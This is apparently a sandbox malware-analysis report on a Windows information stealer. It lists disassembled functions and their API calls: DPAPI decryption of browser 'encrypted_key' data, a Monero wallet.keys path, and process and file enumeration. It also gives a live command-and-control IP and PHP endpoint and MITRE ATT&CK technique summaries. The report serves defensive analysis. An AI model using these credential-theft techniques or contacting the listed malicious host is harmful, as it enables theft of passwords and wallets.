String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 33e005fff9cfb95157f22af441b41ffb73d1142856b4cb795a119b0d3425c198
Instruction ID: 3719ad843e5e3d7a7fc1604642f2b2dc8c043dfdf228baf735376802ea49d2f4
Opcode Fuzzy Hash: 33e005fff9cfb95157f22af441b41ffb73d1142856b4cb795a119b0d3425c198
Instruction Fuzzy Hash: 4751F171D106089ADF05FBE4DC96DED7778AF54300F408628F816AB191EF346A09DBE2

Function 003970D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

s9, xrefs: 003972AE, 00397179, 0039717C
s9, xrefs: 00397111
65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0039718C

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s9$s9$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-539146638
Opcode ID: dd82771ad797f90fe12b83881624d8f7a3538e85641617288abd253d02af95ce
Instruction ID: 4c6fab5d56e97c335a0409147090bed9edfb0e38f856cd5f31bdf4ac78ab18a0
Opcode Fuzzy Hash: dd82771ad797f90fe12b83881624d8f7a3538e85641617288abd253d02af95ce
Instruction Fuzzy Hash: D7517FB1C142189BDF25EBA0DC82BEEB774AF44304F2445A8E1157A1C1EB746E88CF59

Function 00393560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 09a83b4b0b8d629d66388e322089814c1e8b9fd117247291840106e4d1d0d9c6
Instruction ID: be9e13ba020817e8028eda20d1670d53116c715e20f4c03c9b2f793aebe88e21
Opcode Fuzzy Hash: 09a83b4b0b8d629d66388e322089814c1e8b9fd117247291840106e4d1d0d9c6
Instruction Fuzzy Hash: 63411FB1D10109AFDF05EFE4D885AFEB778EB54304F008518E5167B251DB75AA05CFA2

Function 00389CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00389D39

Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389AEF
Part of subcall function 00389AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00384EEE,00000000,?), ref: 00389B01
Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389B2A
Part of subcall function 00389AC0: LocalFree.KERNEL32(?,?,?,?,00384EEE,00000000,?), ref: 00389B3F

Part of subcall function 00389B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00389B84
Part of subcall function 00389B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00389BA3
Part of subcall function 00389B60: LocalFree.KERNEL32(?), ref: 00389BD3

Strings

, xrefs: 00389DC1
DPAPI, xrefs: 00389D89
"encrypted_key":", xrefs: 00389D30

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 831447147f16de682c1285c83c7769f8f28b575195cb9bc6471932c01a664bd1
Instruction ID: aae334c1e298ad60e90db5df7fa8f0a175059b69aea0b97d015a34224787b20c
Opcode Fuzzy Hash: 831447147f16de682c1285c83c7769f8f28b575195cb9bc6471932c01a664bd1
Instruction Fuzzy Hash: 473110B5D10209ABCF05EBE4DC85BFEB7B8AB48304F184559E905A7241E7359A04CBA5

Function 00398680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003A05B7), ref: 003986CA
Process32First.KERNEL32(?,00000128), ref: 003986DE
Process32Next.KERNEL32(?,00000128), ref: 003986F3

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,01158FE0,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

CloseHandle.KERNEL32(?), ref: 00398761

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 99ada2e8db796f69c79db08df99908351a5f367c5d0c35e0cc7e251a8e443978
Instruction ID: e200a4546d09bac8755ca038740d6f7c8204980b92bf94e79bce064a7257520b
Opcode Fuzzy Hash: 99ada2e8db796f69c79db08df99908351a5f367c5d0c35e0cc7e251a8e443978
Instruction Fuzzy Hash: CF316B71911618ABCF26DF90DC45FEEBBB8FF45700F104299E10AA61A0DB306A45CFA1

Function 00397980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003A0E00,00000000,?), ref: 003979B0
RtlAllocateHeap.NTDLL(00000000), ref: 003979B7
GetLocalTime.KERNEL32(?,?,?,?,?,003A0E00,00000000,?), ref: 003979C4
wsprintfA.USER32 ref: 003979F3

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: b7f386924b5cdf823cbff37be307c9b1c8664ff29223caa0f8c9ebbea3b855a6
Instruction ID: 65e07c739a43ce62a096029178ec7b1534f3d1f637dbffe8b0be45d2fe566de1
Opcode Fuzzy Hash: b7f386924b5cdf823cbff37be307c9b1c8664ff29223caa0f8c9ebbea3b855a6
Instruction Fuzzy Hash: FA1123B2904518ABCB14DFCADD45FBEBBF8FB4CB15F10421AF605A2280E2395944DBB1

Function 0039C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0039C74E

Part of subcall function 0039BF9F: __amsg_exit.LIBCMT ref: 0039BFAF

__getptd.LIBCMT ref: 0039C765
__amsg_exit.LIBCMT ref: 0039C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0039C797

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: cef4593c7f1d94ae207e4897b63b2d30651d8630729fa8262f1db103701067fc
Instruction ID: 0b502caa1777659a3f1fa81f0ddd8a4ad97179c9ab0871f1e6befd4b4f78c5f0
Opcode Fuzzy Hash: cef4593c7f1d94ae207e4897b63b2d30651d8630729fa8262f1db103701067fc
Instruction Fuzzy Hash: 27F09A32910A009FEF23BBF8A946B5AB3A0AF00720F255249F405AE2D2DB745D409E96

Function 00394F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00398DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00398E0B

lstrcat.KERNEL32(?,00000000), ref: 00394F7A
lstrcat.KERNEL32(?,003A1070), ref: 00394F97
lstrcat.KERNEL32(?,01158F00), ref: 00394FAB
lstrcat.KERNEL32(?,003A1074), ref: 00394FBD

Part of subcall function 00394910: wsprintfA.USER32 ref: 0039492C
Part of subcall function 00394910: FindFirstFileA.KERNEL32(?,?), ref: 00394943

Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FDC), ref: 00394971
Part of subcall function 00394910: StrCmpCA.SHLWAPI(?,003A0FE0), ref: 00394987
Part of subcall function 00394910: FindNextFileA.KERNEL32(000000FF,?), ref: 00394B7D
Part of subcall function 00394910: FindClose.KERNEL32(000000FF), ref: 00394B92

Memory Dump Source

Source File: 00000000.00000002.1800208993.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1800196481.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800208993.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000767000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000086D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800322327.000000000087B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800505145.000000000087C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800591244.0000000000A18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1800603025.0000000000A19000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 551205a64b56b7b9297c4544a59af961fccf46dc4e4a828ef755ed4f37b579c2
Instruction ID: 930e95796e892f7ca87ecfb79f1d3be219c2b881a93a4580ed450fc2723dcc5f
Opcode Fuzzy Hash: 551205a64b56b7b9297c4544a59af961fccf46dc4e4a828ef755ed4f37b579c2
Instruction Fuzzy Hash: C421DA7690020C6BCB55FBB0EC46EEE373CAB65304F004584B64996181EE749ACDCB92

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0038C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00387240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00387240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00389AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00389AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00389B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00389B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00398EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00398EA0

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

